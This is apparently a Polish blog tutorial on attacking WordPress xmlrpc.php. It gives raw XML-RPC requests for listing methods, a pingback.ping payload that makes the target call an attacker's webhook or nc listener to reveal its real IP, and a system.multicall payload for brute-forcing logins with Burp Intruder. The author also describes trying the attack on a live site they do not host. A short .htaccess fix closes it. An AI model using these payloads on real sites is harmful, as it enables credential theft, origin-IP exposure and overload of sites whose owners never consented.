Articles

Exploiting the xmlrpc.php

X

Privacy & Cookies

Ta strona używa plików cookies. Kontynuując, wyrażasz zgodę na ich użycie. Dowiedz się więcej, w tym jak kontrolować pliki cookie.

Got It!

Reklamy

Co to jest XML-RPC?

XML-RPC to interfejs API, który wypacza informacje lub dane do pliku XML i wysyła je do aplikacji mobilnej lub zdalnego oprogramowania. Zostało to wprowadzone jako w dawnych czasach, prędkość Internetu nie jest szybka, zamiast pisać go online. Użytkownicy piszą swoje treści w trybie offline i publikować wszystkie razem za pomocą API. Ponieważ usługi internetowe uległy poprawie, większość z nas nie używa już tej funkcji, często została ona przez nas zapomniana.

xml_for

Jakie są podatności?

  1. Atak Brute Force. Głównymi powodami do przeprowadzenia ataku jest to, że to API nie posiada limitu prób logowania na stronie. Mogą one nie uzyskać prawidłowych danych uwierzytelniających, ale nadal powodując problemy, takie jak przeciążenie strony. Dostępność witryny jest naruszona.
  2. Przechwytywanie/kradzież informacji logowania. Brak systemu uwierzytelniania. Za każdym razem, gdy użytkownik próbuje wejść na stronę, dane logowania są przesyłane w ramach formularza XML. Jeśli połączenie zostanie przechwycone/ MITM, ujawnione zostaną czyste dane XML.
  3. XMLRPC pingback.ping. Atakujący może użyć tej metody do pobrania prawdziwego adresu publicznego witryny WordPress.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Zanim zacznę przedstawiać szczegółowe kroki przeprowadzania poniższych ataków. Każde z waszych nielegalnych działań, które wykonaliście jest na waszej własnej skórze. Nie jestem odpowiedzialny za żadne z waszych działań. Proszę skonfigurować własne środowisko do tego celu lub zapytać o pozwolenie zanim to zrobicie.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

XMLRPC attack using Burpsuite

Najpierw sprawdź, czy XMLRPC.php jest dostępny na stronie docelowej. W tym przypadku, skonfigurowałem demonstracyjną witrynę WordPress, aby przeprowadzić atak.

checking

„Serwer XML-RPC akceptuje tylko żądania POST.”

Używając metody GET do pobrania pliku, normalnie otrzymamy taki wynik.

Następnie wykonamy metodę POST, aby pobrać wszystkie możliwe do użycia metody w serwerze XMLRPC.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

Serwer odpowie ci listą metod, które mogą być użyte. W tym przypadku, szczególnie interesuje nas metoda pingback.ping. Jedną rzeczą, na którą należy zwrócić uwagę jest to, że wszystkie te dane przychodzące i wychodzące używają formatu XML, jak wyjaśniono powyżej. Tak więc, upewnij się, że format danych jest poprawny.

Aby przeprowadzić atak, musimy najpierw przygotować te 2 rzeczy

  1. A valid webhook.site URL lub dowolną inną alternatywę, jak wolisz, jak beeceptor i postbin
  2. Ważny adres URL docelowego postu WordPress.

<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Poniżej znajduje się kolejny przykład tego ataku przeprowadzonego na tej witrynie WordPress. TAK! Tej, na którą właśnie patrzysz. Z ciekawości chcę wypróbować atak na prawdziwą stronę, a nie na tę, którą hostuję.

own

Jak widać, ten atak jest nieudany i żaden wynik nie pojawi się w postbinie. Wydaje się, że zrobili jakieś środki ostrożności i zapobiegania online witryny WordPress. Ta metoda jest przydatna dla self setup site i nie wyłączyć xmlrpc.php

Jeśli nie chcesz używać POSTBIN, otworzyć NC i ustawić na tryb nasłuchiwania działa również! 👍👍

ncnc2

Atak Brute Force przy użyciu XMLRPC.php

Jak wspomniano powyżej, nie ma limitu ilości prób. Uzyskanie udanej kombinacji nazwy użytkownika i hasła jest tylko kwestią czasu. Nie ma również mechanizmów takich jak blokada konta po określonej liczbie prób.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Aby pokazać różnicę między udanym a nieudanym logowaniem, oto przykład.

brute

I oczywiście, powinieneś używać Intrudera do przeprowadzania tego typu ataków brute force.

Po pierwsze, sprawdź cel ataku, w moim przypadku będę używał adresu IP mojej strony.

target

Potrzebujemy ustawić pozycje ładunku i wybrać 'Bomba kasetowa’ na liście Typ ataku. Dobre źródło do poczytania o pozycjach i typach ataków

postion

Tutaj musimy ustawić 2 pozycje payload, 'username’ i password. Następnie, musimy ustawić listę słów. To jest dokumentacja typów Payload

usernamepassword

Kliknij 'Start attack’ kiedy jesteś gotowy

success

Jak możemy zauważyć, jeden z Request ma inną długość. A kiedy sprawdzimy surowe dane w zakładce odpowiedzi, pokażą nam, że ten zestaw kombinacji pomyślnie się zalogował.

Prewencja

  1. Instalacja wtyczki dla leniwych
  2. Wyłącz xmlrpc.php za pomocą .htaccess

# Zabroń każdemu dostępu do pliku
<Files xmlrpc.php>
order deny,allow
deny from all
</Files>

.